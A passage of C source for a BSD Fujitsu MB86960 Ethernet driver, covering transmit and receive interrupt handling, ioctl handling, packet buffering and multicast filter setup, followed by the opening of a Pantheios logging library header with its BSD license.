* cannot, however, tell which is wrong. More
* over, we cannot peek 86960 transmission buffer or
* reset the transmission buffer. (In fact, we can
* reset the entire interface. I don't want to do it.)
*
* If txb_count is incorrect, leaving it as is will cause
* sending of gabages after next interrupt. We have to
* avoid it. Hence, we reset the txb_count here. If
* txb_free was incorrect, resetting txb_count just loose
* some packets. We can live with it.
*/
sc->txb_count = 0;
}
#endif
#if FE_DEBUG >= 1
/*
* First, see if there are buffered packets and an idle
* transmitter - should never happen at this point.
*/
if ((sc->txb_count > 0) && (sc->txb_sched == 0)) {
log(LOG_ERR, "%s: transmitter idle with %d buffered packets\n",
sc->sc_dev.dv_xname, sc->txb_count);
fe_xmit(sc);
}
#endif
/*
* Stop accepting more transmission packets temporarily, when
* a filter change request is delayed. Updating the MARs on
* 86960 flushes the transmisstion buffer, so it is delayed
* until all buffered transmission packets have been sent
* out.
*/
if (sc->filter_change) {
/*
* Filter change requst is delayed only when the DLC is
* working. DLC soon raise an interrupt after finishing
* the work.
*/
goto indicate_active;
}
for (;;) {
/*
* See if there is room to put another packet in the buffer.
* We *could* do better job by peeking the send queue to
* know the length of the next packet. Current version just
* tests against the worst case (i.e., longest packet). FIXME.
*
* When adding the packet-peek feature, don't forget adding a
* test on txb_count against QUEUEING_MAX.
* There is a little chance the packet count exceeds
* the limit. Assume transmission buffer is 8KB (2x8KB
* configuration) and an application sends a bunch of small
* (i.e., minimum packet sized) packets rapidly. An 8KB
* buffer can hold 130 blocks of 62 bytes long...
*/
if (sc->txb_free < ETHER_MAX_LEN + FE_DATA_LEN_LEN) {
/* No room. */
goto indicate_active;
}
#if FE_SINGLE_TRANSMISSION
if (sc->txb_count > 0) {
/* Just one packet per a transmission buffer. */
goto indicate_active;
}
#endif
/*
* Get the next mbuf chain for a packet to send.
*/
IF_DEQUEUE(&ifp->if_snd, m);
if (m == 0) {
/* No more packets to send. */
goto indicate_inactive;
}
#if NBPFILTER > 0
/* Tap off here if there is a BPF listener. */
if (ifp->if_bpf)
bpf_mtap(ifp->if_bpf, m);
#endif
/*
* Copy the mbuf chain into the transmission buffer.
* txb_* variables are updated as necessary.
*/
fe_write_mbufs(sc, m);
m_freem(m);
/* Start transmitter if it's idle. */
if (sc->txb_sched == 0)
fe_xmit(sc);
}
indicate_inactive:
/*
* We are using the !OACTIVE flag to indicate to
* the outside world that we can accept an
* additional packet rather than that the
* transmitter is _actually_ active. Indeed, the
* transmitter may be active, but if we haven't
* filled all the buffers with data then we still
* want to accept more.
*/
ifp->if_flags &= ~IFF_OACTIVE;
return;
indicate_active:
/*
* The transmitter is active, and there are no room for
* more outgoing packets in the transmission buffer.
*/
ifp->if_flags |= IFF_OACTIVE;
return;
}
/*
* Transmission interrupt handler
* The control flow of this function looks silly. FIXME.
*/
void
fe_tint(sc, tstat)
struct fe_softc *sc;
u_char tstat;
{
struct ifnet *ifp = &sc->sc_arpcom.ac_if;
int left;
int col;
/*
* Handle "excessive collision" interrupt.
*/
if (tstat & FE_D0_COLL16) {
/*
* Find how many packets (including this collided one)
* are left unsent in transmission buffer.
*/
left = inb(sc->sc_iobase + FE_BMPR10);
#if FE_DEBUG >= 2
log(LOG_WARNING, "%s: excessive collision (%d/%d)\n",
sc->sc_dev.dv_xname, left, sc->txb_sched);
#endif
#if FE_DEBUG >= 3
fe_dump(LOG_INFO, sc);
#endif
/*
* Update statistics.
*/
ifp->if_collisions += 16;
ifp->if_oerrors++;
ifp->if_opackets += sc->txb_sched - left;
/*
* Collision statistics has been updated.
* Clear the collision flag on 86960 now to avoid confusion.
*/
outb(sc->sc_iobase + FE_DLCR0, FE_D0_COLLID);
/*
* Restart transmitter, skipping the
* collided packet.
*
* We *must* skip the packet to keep network running
* properly. Excessive collision error is an
* indication of the network overload. If we
* tried sending the same packet after excessive
* collision, the network would be filled with
* out-of-time packets. Packets belonging
* to reliable transport (such as TCP) are resent
* by some upper layer.
*/
outb(sc->sc_iobase + FE_BMPR11,
FE_B11_CTRL_SKIP | FE_B11_MODE1);
sc->txb_sched = left - 1;
}
/*
* Handle "transmission complete" interrupt.
*/
if (tstat & FE_D0_TXDONE) {
/*
* Add in total number of collisions on last
* transmission. We also clear "collision occurred" flag
* here.
*
* 86960 has a design flow on collision count on multiple
* packet transmission. When we send two or more packets
* with one start command (that's what we do when the
* transmission queue is clauded), 86960 informs us number
* of collisions occured on the last packet on the
* transmission only. Number of collisions on previous
* packets are lost. I have told that the fact is clearly
* stated in the Fujitsu document.
*
* I considered not to mind it seriously. Collision
* count is not so important, anyway. Any comments? FIXME.
*/
if (inb(sc->sc_iobase + FE_DLCR0) & FE_D0_COLLID) {
/* Clear collision flag. */
outb(sc->sc_iobase + FE_DLCR0, FE_D0_COLLID);
/* Extract collision count from 86960. */
col = inb(sc->sc_iobase + FE_DLCR4) & FE_D4_COL;
if (col == 0) {
/*
* Status register indicates collisions,
* while the collision count is zero.
* This can happen after multiple packet
* transmission, indicating that one or more
* previous packet(s) had been collided.
*
* Since the accurate number of collisions
* has been lost, we just guess it as 1;
* Am I too optimistic? FIXME.
*/
col = 1;
} else
col >>= FE_D4_COL_SHIFT;
ifp->if_collisions += col;
#if FE_DEBUG >= 4
log(LOG_WARNING, "%s: %d collision%s (%d)\n",
sc->sc_dev.dv_xname, col, col == 1 ? "" : "s",
sc->txb_sched);
#endif
}
/*
* Update total number of successfully
* transmitted packets.
*/
ifp->if_opackets += sc->txb_sched;
sc->txb_sched = 0;
}
if (sc->txb_sched == 0) {
/*
* The transmitter is no more active.
* Reset output active flag and watchdog timer.
*/
ifp->if_flags &= ~IFF_OACTIVE;
ifp->if_timer = 0;
/*
* If more data is ready to transmit in the buffer, start
* transmitting them. Otherwise keep transmitter idle,
* even if more data is queued. This gives receive
* process a slight priority.
*/
if (sc->txb_count > 0)
fe_xmit(sc);
}
}
/*
* Ethernet interface receiver interrupt.
*/
void
fe_rint(sc, rstat)
struct fe_softc *sc;
u_char rstat;
{
struct ifnet *ifp = &sc->sc_arpcom.ac_if;
int len;
u_char status;
int i;
/*
* Update statistics if this interrupt is caused by an error.
*/
if (rstat & (FE_D1_OVRFLO | FE_D1_CRCERR |
FE_D1_ALGERR | FE_D1_SRTPKT)) {
#if FE_DEBUG >= 3
log(LOG_WARNING, "%s: receive error: %b\n",
sc->sc_dev.dv_xname, rstat, FE_D1_ERRBITS);
#endif
ifp->if_ierrors++;
}
/*
* MB86960 has a flag indicating "receive queue empty."
* We just loop cheking the flag to pull out all received
* packets.
*
* We limit the number of iterrations to avoid infinite loop.
* It can be caused by a very slow CPU (some broken
* peripheral may insert incredible number of wait cycles)
* or, worse, by a broken MB86960 chip.
*/
for (i = 0; i < FE_MAX_RECV_COUNT; i++) {
/* Stop the iterration if 86960 indicates no packets. */
if (inb(sc->sc_iobase + FE_DLCR5) & FE_D5_BUFEMP)
break;
/*
* Extract A receive status byte.
* As our 86960 is in 16 bit bus access mode, we have to
* use inw() to get the status byte. The significant
* value is returned in lower 8 bits.
*/
status = (u_char)inw(sc->sc_iobase + FE_BMPR8);
#if FE_DEBUG >= 4
log(LOG_INFO, "%s: receive status = %02x\n",
sc->sc_dev.dv_xname, status);
#endif
/*
* If there was an error, update statistics and drop
* the packet, unless the interface is in promiscuous
* mode.
*/
if ((status & 0xF0) != 0x20) { /* XXXX ? */
if ((ifp->if_flags & IFF_PROMISC) == 0) {
ifp->if_ierrors++;
fe_droppacket(sc);
continue;
}
}
/*
* Extract the packet length.
* It is a sum of a header (14 bytes) and a payload.
* CRC has been stripped off by the 86960.
*/
len = inw(sc->sc_iobase + FE_BMPR8);
/*
* MB86965 checks the packet length and drop big packet
* before passing it to us. There are no chance we can
* get [crufty] packets. Hence, if the length exceeds
* the specified limit, it means some serious failure,
* such as out-of-sync on receive buffer management.
*
* Is this statement true? FIXME.
*/
if (len > ETHER_MAX_LEN || len < ETHER_HDR_SIZE) {
#if FE_DEBUG >= 2
log(LOG_WARNING,
"%s: received a %s packet? (%u bytes)\n",
sc->sc_dev.dv_xname,
len < ETHER_HDR_SIZE ? "partial" : "big", len);
#endif
ifp->if_ierrors++;
fe_droppacket(sc);
continue;
}
/*
* Check for a short (RUNT) packet. We *do* check
* but do nothing other than print a message.
* Short packets are illegal, but does nothing bad
* if it carries data for upper layer.
*/
#if FE_DEBUG >= 2
if (len < ETHER_MIN_LEN) {
log(LOG_WARNING,
"%s: received a short packet? (%u bytes)\n",
sc->sc_dev.dv_xname, len);
}
#endif
/*
* Go get a packet.
*/
if (!fe_get_packet(sc, len)) {
/* Skip a packet, updating statistics. */
#if FE_DEBUG >= 2
log(LOG_WARNING,
"%s: out of mbufs; dropping packet (%u bytes)\n",
sc->sc_dev.dv_xname, len);
#endif
ifp->if_ierrors++;
fe_droppacket(sc);
/*
* We stop receiving packets, even if there are
* more in the buffer. We hope we can get more
* mbufs next time.
*/
return;
}
/* Successfully received a packet. Update stat. */
ifp->if_ipackets++;
}
}
/*
* Ethernet interface interrupt processor
*/
int
feintr(arg)
void *arg;
{
struct fe_softc *sc = arg;
u_char tstat, rstat;
#if FE_DEBUG >= 4
log(LOG_INFO, "%s: feintr()\n", sc->sc_dev.dv_xname);
fe_dump(LOG_INFO, sc);
#endif
/*
* Get interrupt conditions, masking unneeded flags.
*/
tstat = inb(sc->sc_iobase + FE_DLCR0) & FE_TMASK;
rstat = inb(sc->sc_iobase + FE_DLCR1) & FE_RMASK;
if (tstat == 0 && rstat == 0)
return (0);
/*
* Loop until there are no more new interrupt conditions.
*/
for (;;) {
/*
* Reset the conditions we are acknowledging.
*/
outb(sc->sc_iobase + FE_DLCR0, tstat);
outb(sc->sc_iobase + FE_DLCR1, rstat);
/*
* Handle transmitter interrupts. Handle these first because
* the receiver will reset the board under some conditions.
*/
if (tstat != 0)
fe_tint(sc, tstat);
/*
* Handle receiver interrupts.
*/
if (rstat != 0)
fe_rint(sc, rstat);
/*
* Update the multicast address filter if it is
* needed and possible. We do it now, because
* we can make sure the transmission buffer is empty,
* and there is a good chance that the receive queue
* is empty. It will minimize the possibility of
* packet lossage.
*/
if (sc->filter_change &&
sc->txb_count == 0 && sc->txb_sched == 0) {
fe_loadmar(sc);
sc->sc_arpcom.ac_if.if_flags &= ~IFF_OACTIVE;
}
/*
* If it looks like the transmitter can take more data,
* attempt to start output on the interface. This is done
* after handling the receiver interrupt to give the
* receive operation priority.
*/
if ((sc->sc_arpcom.ac_if.if_flags & IFF_OACTIVE) == 0)
fe_start(&sc->sc_arpcom.ac_if);
/*
* Get interrupt conditions, masking unneeded flags.
*/
tstat = inb(sc->sc_iobase + FE_DLCR0) & FE_TMASK;
rstat = inb(sc->sc_iobase + FE_DLCR1) & FE_RMASK;
if (tstat == 0 && rstat == 0)
return (1);
}
}
/*
* Process an ioctl request. This code needs some work - it looks pretty ugly.
*/
int
fe_ioctl(ifp, command, data)
register struct ifnet *ifp;
u_long command;
caddr_t data;
{
struct fe_softc *sc = ifp->if_softc;
register struct ifaddr *ifa = (struct ifaddr *)data;
struct ifreq *ifr = (struct ifreq *)data;
int s, error = 0;
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: ioctl(%x)\n", sc->sc_dev.dv_xname, command);
#endif
s = splnet();
if ((error = ether_ioctl(ifp, &sc->sc_arpcom, command, data)) > 0) {
splx(s);
return error;
}
switch (command) {
case SIOCSIFADDR:
ifp->if_flags |= IFF_UP;
switch (ifa->ifa_addr->sa_family) {
#ifdef INET
case AF_INET:
fe_init(sc);
arp_ifinit(&sc->sc_arpcom, ifa);
break;
#endif
default:
fe_init(sc);
break;
}
break;
case SIOCSIFFLAGS:
if ((ifp->if_flags & IFF_UP) == 0 &&
(ifp->if_flags & IFF_RUNNING) != 0) {
/*
* If interface is marked down and it is running, then
* stop it.
*/
fe_stop(sc);
ifp->if_flags &= ~IFF_RUNNING;
} else if ((ifp->if_flags & IFF_UP) != 0 &&
(ifp->if_flags & IFF_RUNNING) == 0) {
/*
* If interface is marked up and it is stopped, then
* start it.
*/
fe_init(sc);
} else {
/*
* Reset the interface to pick up changes in any other
* flags that affect hardware registers.
*/
fe_setmode(sc);
}
#if DEBUG >= 1
/* "ifconfig fe0 debug" to print register dump. */
if (ifp->if_flags & IFF_DEBUG) {
log(LOG_INFO, "%s: SIOCSIFFLAGS(DEBUG)\n", sc->sc_dev.dv_xname);
fe_dump(LOG_DEBUG, sc);
}
#endif
break;
case SIOCADDMULTI:
case SIOCDELMULTI:
/* Update our multicast list. */
error = (command == SIOCADDMULTI) ?
ether_addmulti(ifr, &sc->sc_arpcom) :
ether_delmulti(ifr, &sc->sc_arpcom);
if (error == ENETRESET) {
/*
* Multicast list has changed; set the hardware filter
* accordingly.
*/
fe_setmode(sc);
error = 0;
}
break;
default:
error = EINVAL;
}
splx(s);
return (error);
}
/*
* Retreive packet from receive buffer and send to the next level up via
* ether_input(). If there is a BPF listener, give a copy to BPF, too.
* Returns 0 if success, -1 if error (i.e., mbuf allocation failure).
*/
int
fe_get_packet(sc, len)
struct fe_softc *sc;
int len;
{
struct ether_header *eh;
struct mbuf *m;
struct ifnet *ifp = &sc->sc_arpcom.ac_if;
/* Allocate a header mbuf. */
MGETHDR(m, M_DONTWAIT, MT_DATA);
if (m == 0)
return (0);
m->m_pkthdr.rcvif = ifp;
m->m_pkthdr.len = len;
/* The following silliness is to make NFS happy. */
#define EROUND ((sizeof(struct ether_header) + 3) & ~3)
#define EOFF (EROUND - sizeof(struct ether_header))
/*
* Our strategy has one more problem. There is a policy on
* mbuf cluster allocation. It says that we must have at
* least MINCLSIZE (208 bytes) to allocate a cluster. For a
* packet of a size between (MHLEN - 2) to (MINCLSIZE - 2),
* our code violates the rule...
* On the other hand, the current code is short, simle,
* and fast, however. It does no harmful thing, just waists
* some memory. Any comments? FIXME.
*/
/* Attach a cluster if this packet doesn't fit in a normal mbuf. */
if (len > MHLEN - EOFF) {
MCLGET(m, M_DONTWAIT);
if ((m->m_flags & M_EXT) == 0) {
m_freem(m);
return (0);
}
}
/*
* The following assumes there is room for the ether header in the
* header mbuf.
*/
m->m_data += EOFF;
eh = mtod(m, struct ether_header *);
/* Set the length of this packet. */
m->m_len = len;
/* Get a packet. */
insw(sc->sc_iobase + FE_BMPR8, m->m_data, (len + 1) >> 1);
#if NBPFILTER > 0
/*
* Check if there's a BPF listener on this interface. If so, hand off
* the raw packet to bpf.
*/
if (ifp->if_bpf)
bpf_mtap(ifp->if_bpf, m);
#endif
/* Fix up data start offset in mbuf to point past ether header. */
m_adj(m, sizeof(struct ether_header));
ether_input(ifp, eh, m);
return (1);
}
/*
* Write an mbuf chain to the transmission buffer memory using 16 bit PIO.
* Returns number of bytes actually written, including length word.
*
* If an mbuf chain is too long for an Ethernet frame, it is not sent.
* Packets shorter than Ethernet minimum are legal, and we pad them
* before sending out. An exception is "partial" packets which are
* shorter than mandatory Ethernet header.
*
* I wrote a code for an experimental "delayed padding" technique.
* When employed, it postpones the padding process for short packets.
* If xmit() occured at the moment, the padding process is omitted, and
* garbages are sent as pad data. If next packet is stored in the
* transmission buffer before xmit(), write_mbuf() pads the previous
* packet before transmitting new packet. This *may* gain the
* system performance (slightly).
*/
void
fe_write_mbufs(sc, m)
struct fe_softc *sc;
struct mbuf *m;
{
int bmpr8 = sc->sc_iobase + FE_BMPR8;
struct mbuf *mp;
u_char *data;
u_short savebyte; /* WARNING: Architecture dependent! */
int totlen, len, wantbyte;
#if FE_DELAYED_PADDING
/* Do the "delayed padding." */
len = sc->txb_padding >> 1;
if (len > 0) {
while (--len >= 0)
outw(bmpr8, 0);
sc->txb_padding = 0;
}
#endif
/* We need to use m->m_pkthdr.len, so require the header */
if ((m->m_flags & M_PKTHDR) == 0)
panic("fe_write_mbufs: no header mbuf");
#if FE_DEBUG >= 2
/* First, count up the total number of bytes to copy. */
for (totlen = 0, mp = m; mp != 0; mp = mp->m_next)
totlen += mp->m_len;
/* Check if this matches the one in the packet header. */
if (totlen != m->m_pkthdr.len)
log(LOG_WARNING, "%s: packet length mismatch? (%d/%d)\n",
sc->sc_dev.dv_xname, totlen, m->m_pkthdr.len);
#else
/* Just use the length value in the packet header. */
totlen = m->m_pkthdr.len;
#endif
#if FE_DEBUG >= 1
/*
* Should never send big packets. If such a packet is passed,
* it should be a bug of upper layer. We just ignore it.
* ... Partial (too short) packets, neither.
*/
if (totlen > ETHER_MAX_LEN || totlen < ETHER_HDR_SIZE) {
log(LOG_ERR, "%s: got a %s packet (%u bytes) to send\n",
sc->sc_dev.dv_xname,
totlen < ETHER_HDR_SIZE ? "partial" : "big", totlen);
sc->sc_arpcom.ac_if.if_oerrors++;
return;
}
#endif
/*
* Put the length word for this frame.
* Does 86960 accept odd length? -- Yes.
* Do we need to pad the length to minimum size by ourselves?
* -- Generally yes. But for (or will be) the last
* packet in the transmission buffer, we can skip the
* padding process. It may gain performance slightly. FIXME.
*/
outw(bmpr8, max(totlen, ETHER_MIN_LEN));
/*
* Update buffer status now.
* Truncate the length up to an even number, since we use outw().
*/
totlen = (totlen + 1) & ~1;
sc->txb_free -= FE_DATA_LEN_LEN + max(totlen, ETHER_MIN_LEN);
sc->txb_count++;
#if FE_DELAYED_PADDING
/* Postpone the packet padding if necessary. */
if (totlen < ETHER_MIN_LEN)
sc->txb_padding = ETHER_MIN_LEN - totlen;
#endif
/*
* Transfer the data from mbuf chain to the transmission buffer.
* MB86960 seems to require that data be transferred as words, and
* only words. So that we require some extra code to patch
* over odd-length mbufs.
*/
wantbyte = 0;
for (; m != 0; m = m->m_next) {
/* Ignore empty mbuf. */
len = m->m_len;
if (len == 0)
continue;
/* Find the actual data to send. */
data = mtod(m, caddr_t);
/* Finish the last byte. */
if (wantbyte) {
outw(bmpr8, savebyte | (*data << 8));
data++;
len--;
wantbyte = 0;
}
/* Output contiguous words. */
if (len > 1)
outsw(bmpr8, data, len >> 1);
/* Save remaining byte, if there is one. */
if (len & 1) {
data += len & ~1;
savebyte = *data;
wantbyte = 1;
}
}
/* Spit the last byte, if the length is odd. */
if (wantbyte)
outw(bmpr8, savebyte);
#if ! FE_DELAYED_PADDING
/*
* Pad the packet to the minimum length if necessary.
*/
len = (ETHER_MIN_LEN >> 1) - (totlen >> 1);
while (--len >= 0)
outw(bmpr8, 0);
#endif
}
/*
* Compute the multicast address filter from the
* list of multicast addresses we need to listen to.
*/
void
fe_getmcaf(ac, af)
struct arpcom *ac;
u_char *af;
{
struct ifnet *ifp = &ac->ac_if;
struct ether_multi *enm;
register u_char *cp, c;
register u_long crc;
register int i, len;
struct ether_multistep step;
/*
* Set up multicast address filter by passing all multicast addresses
* through a crc generator, and then using the high order 6 bits as an
* index into the 64 bit logical address filter. The high order bit
* selects the word, while the rest of the bits select the bit within
* the word.
*/
if ((ifp->if_flags & IFF_PROMISC) != 0)
goto allmulti;
af[0] = af[1] = af[2] = af[3] = af[4] = af[5] = af[6] = af[7] = 0x00;
ETHER_FIRST_MULTI(step, ac, enm);
while (enm != NULL) {
if (bcmp(enm->enm_addrlo, enm->enm_addrhi,
sizeof(enm->enm_addrlo)) != 0) {
/*
* We must listen to a range of multicast addresses.
* For now, just accept all multicasts, rather than
* trying to set only those filter bits needed to match
* the range. (At this time, the only use of address
* ranges is for IP multicast routing, for which the
* range is big enough to require all bits set.)
*/
goto allmulti;
}
cp = enm->enm_addrlo;
crc = 0xffffffff;
for (len = sizeof(enm->enm_addrlo); --len >= 0;) {
c = *cp++;
for (i = 8; --i >= 0;) {
if ((crc & 0x01) ^ (c & 0x01)) {
crc >>= 1;
crc ^= 0xedb88320;
} else
crc >>= 1;
c >>= 1;
}
}
/* Just want the 6 most significant bits. */
crc >>= 26;
/* Turn on the corresponding bit in the filter. */
af[crc >> 3] |= 1 << (crc & 7);
ETHER_NEXT_MULTI(step, enm);
}
ifp->if_flags &= ~IFF_ALLMULTI;
return;
allmulti:
ifp->if_flags |= IFF_ALLMULTI;
af[0] = af[1] = af[2] = af[3] = af[4] = af[5] = af[6] = af[7] = 0xff;
}
/*
* Calculate a new "multicast packet filter" and put the 86960
* receiver in appropriate mode.
*/
void
fe_setmode(sc)
struct fe_softc *sc;
{
int flags = sc->sc_arpcom.ac_if.if_flags;
/*
* If the interface is not running, we postpone the update
* process for receive modes and multicast address filter
* until the interface is restarted. It reduces some
* complicated job on maintaining chip states. (Earlier versions
* of this driver had a bug on that point...)
*
* To complete the trick, fe_init() calls fe_setmode() after
* restarting the interface.
*/
if ((flags & IFF_RUNNING) == 0)
return;
/*
* Promiscuous mode is handled separately.
*/
if ((flags & IFF_PROMISC) != 0) {
/*
* Program 86960 to receive all packets on the segment
* including those directed to other stations.
* Multicast filter stored in MARs are ignored
* under this setting, so we don't need to update it.
*
* Promiscuous mode is used solely by BPF, and BPF only
* listens to valid (no error) packets. So, we ignore
* errornous ones even in this mode.
*/
outb(sc->sc_iobase + FE_DLCR5,
sc->proto_dlcr5 | FE_D5_AFM0 | FE_D5_AFM1);
sc->filter_change = 0;
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: promiscuous mode\n", sc->sc_dev.dv_xname);
#endif
return;
}
/*
* Turn the chip to the normal (non-promiscuous) mode.
*/
outb(sc->sc_iobase + FE_DLCR5, sc->proto_dlcr5 | FE_D5_AFM1);
/*
* Find the new multicast filter value.
*/
fe_getmcaf(&sc->sc_arpcom, sc->filter);
sc->filter_change = 1;
#if FE_DEBUG >= 3
log(LOG_INFO,
"%s: address filter: [%02x %02x %02x %02x %02x %02x %02x %02x]\n",
sc->sc_dev.dv_xname,
sc->filter[0], sc->filter[1], sc->filter[2], sc->filter[3],
sc->filter[4], sc->filter[5], sc->filter[6], sc->filter[7]);
#endif
/*
* We have to update the multicast filter in the 86960, A.S.A.P.
*
* Note that the DLC (Data Linc Control unit, i.e. transmitter
* and receiver) must be stopped when feeding the filter, and
* DLC trushes all packets in both transmission and receive
* buffers when stopped.
*
* ... Are the above sentenses correct? I have to check the
* manual of the MB86960A. FIXME.
*
* To reduce the packet lossage, we delay the filter update
* process until buffers are empty.
*/
if (sc->txb_sched == 0 && sc->txb_count == 0 &&
(inb(sc->sc_iobase + FE_DLCR1) & FE_D1_PKTRDY) == 0) {
/*
* Buffers are (apparently) empty. Load
* the new filter value into MARs now.
*/
fe_loadmar(sc);
} else {
/*
* Buffers are not empty. Mark that we have to update
* the MARs. The new filter will be loaded by feintr()
* later.
*/
#if FE_DEBUG >= 4
log(LOG_INFO, "%s: filter change delayed\n", sc->sc_dev.dv_xname);
#endif
}
}
/*
* Load a new multicast address filter into MARs.
*
* The caller must have splnet'ed befor fe_loadmar.
* This function starts the DLC upon return. So it can be called only
* when the chip is working, i.e., from the driver's point of view, when
* a device is RUNNING. (I mistook the point in previous versions.)
*/
void
fe_loadmar(sc)
struct fe_softc *sc;
{
/* Stop the DLC (transmitter and receiver). */
outb(sc->sc_iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_DISABLE);
/* Select register bank 1 for MARs. */
outb(sc->sc_iobase + FE_DLCR7,
sc->proto_dlcr7 | FE_D7_RBS_MAR | FE_D7_POWER_UP);
/* Copy filter value into the registers. */
outblk(sc->sc_iobase + FE_MAR8, sc->filter, FE_FILTER_LEN);
/* Restore the bank selection for BMPRs (i.e., runtime registers). */
outb(sc->sc_iobase + FE_DLCR7,
sc->proto_dlcr7 | FE_D7_RBS_BMPR | FE_D7_POWER_UP);
/* Restart the DLC. */
outb(sc->sc_iobase + FE_DLCR6, sc->proto_dlcr6 | FE_D6_DLC_ENABLE);
/* We have just updated the filter. */
sc->filter_change = 0;
#if FE_DEBUG >= 3
log(LOG_INFO, "%s: address filter changed\n", sc->sc_dev.dv_xname);
#endif
}
#if FE_DEBUG >= 1
void
fe_dump(level, sc)
int level;
struct fe_softc *sc;
{
int iobase = sc->sc_iobase;
u_char save_dlcr7;
save_dlcr7 = inb(iobase + FE_DLCR7);
log(level, "\tDLCR = %02x %02x %02x %02x %02x %02x %02x %02x",
inb(iobase + FE_DLCR0), inb(iobase + FE_DLCR1),
inb(iobase + FE_DLCR2), inb(iobase + FE_DLCR3),
inb(iobase + FE_DLCR4), inb(iobase + FE_DLCR5),
inb(iobase + FE_DLCR6), inb(iobase + FE_DLCR7));
outb(iobase + FE_DLCR7, (save_dlcr7 & ~FE_D7_RBS) | FE_D7_RBS_DLCR);
log(level, "\t %02x %02x %02x %02x %02x %02x %02x %02x,",
inb(iobase + FE_DLCR8), inb(iobase + FE_DLCR9),
inb(iobase + FE_DLCR10), inb(iobase + FE_DLCR11),
inb(iobase + FE_DLCR12), inb(iobase + FE_DLCR13),
inb(iobase + FE_DLCR14), inb(iobase + FE_DLCR15));
outb(iobase + FE_DLCR7, (save_dlcr7 & ~FE_D7_RBS) | FE_D7_RBS_MAR);
log(level, "\tMAR = %02x %02x %02x %02x %02x %02x %02x %02x,",
inb(iobase + FE_MAR8), inb(iobase + FE_MAR9),
inb(iobase + FE_MAR10), inb(iobase + FE_MAR11),
inb(iobase + FE_MAR12), inb(iobase + FE_MAR13),
inb(iobase + FE_MAR14), inb(iobase + FE_MAR15));
outb(iobase + FE_DLCR7, (save_dlcr7 & ~FE_D7_RBS) | FE_D7_RBS_BMPR);
log(level, "\tBMPR = xx xx %02x %02x %02x %02x %02x %02x %02x %02x xx %02x.",
inb(iobase + FE_BMPR10), inb(iobase + FE_BMPR11),
inb(iobase + FE_BMPR12), inb(iobase + FE_BMPR13),
inb(iobase + FE_BMPR14), inb(iobase + FE_BMPR15),
inb(iobase + FE_BMPR16), inb(iobase + FE_BMPR17),
inb(iobase + FE_BMPR19));
outb(iobase + FE_DLCR7, save_dlcr7);
}
#endif
| bsd-3-clause |
synesissoftware/Pantheios | include/pantheios/implicit_link/bec.WindowsDebugger.WithCallback.h | 4584 | /* /////////////////////////////////////////////////////////////////////////
* File: pantheios/implicit_link/bec.WindowsDebugger.WithCallback.h
*
* Purpose: Implicitly links in the Pantheios Windows Debugger Back-End Common Library
*
* Created: 25th August 2006
* Updated: 29th June 2016
*
* Home: http://pantheios.org/
*
* Copyright (c) 2006-2016, Matthew Wilson and Synesis Software
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* - Neither the name(s) of Matthew Wilson and Synesis Software nor the
* names of any contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* ////////////////////////////////////////////////////////////////////// */
/** \file pantheios/implicit_link/bec.WindowsDebugger.WithCallback.h
*
* Implicitly links in the version of the
* \ref group__backend__stock_backends__WindowsDebugger "Pantheios Windows Debugger Back-End Common Library"
* built for \ref page__backend__callbacks "callback".
*/
#ifndef PANTHEIOS_INCL_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK
#define PANTHEIOS_INCL_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK
/* /////////////////////////////////////////////////////////////////////////
* version information
*/
#ifndef PANTHEIOS_DOCUMENTATION_SKIP_SECTION
# define PANTHEIOS_VER_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK_MAJOR 2
# define PANTHEIOS_VER_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK_MINOR 0
# define PANTHEIOS_VER_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK_REVISION 1
# define PANTHEIOS_VER_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK_EDIT 8
#endif /* !PANTHEIOS_DOCUMENTATION_SKIP_SECTION */
/* /////////////////////////////////////////////////////////////////////////
* includes
*/
#ifndef PANTHEIOS_INCL_PANTHEIOS_H_PANTHEIOS
# include <pantheios/pantheios.h>
#endif /* !PANTHEIOS_INCL_PANTHEIOS_H_PANTHEIOS */
#ifndef PANTHEIOS_INCL_PANTHEIOS_IMPLICIT_LINK_H_IMPLICIT_LINK_BASE_
# include <pantheios/implicit_link/implicit_link_base_.h>
#endif /* !PANTHEIOS_INCL_PANTHEIOS_IMPLICIT_LINK_H_IMPLICIT_LINK_BASE_ */
/* /////////////////////////////////////////////////////////////////////////
* implicit-linking directives
*/
#ifdef PANTHEIOS_IMPLICIT_LINK_SUPPORT
# if defined(__BORLANDC__)
# elif defined(__COMO__)
# elif defined(__DMC__)
# elif defined(__GNUC__)
# elif defined(__INTEL_COMPILER)
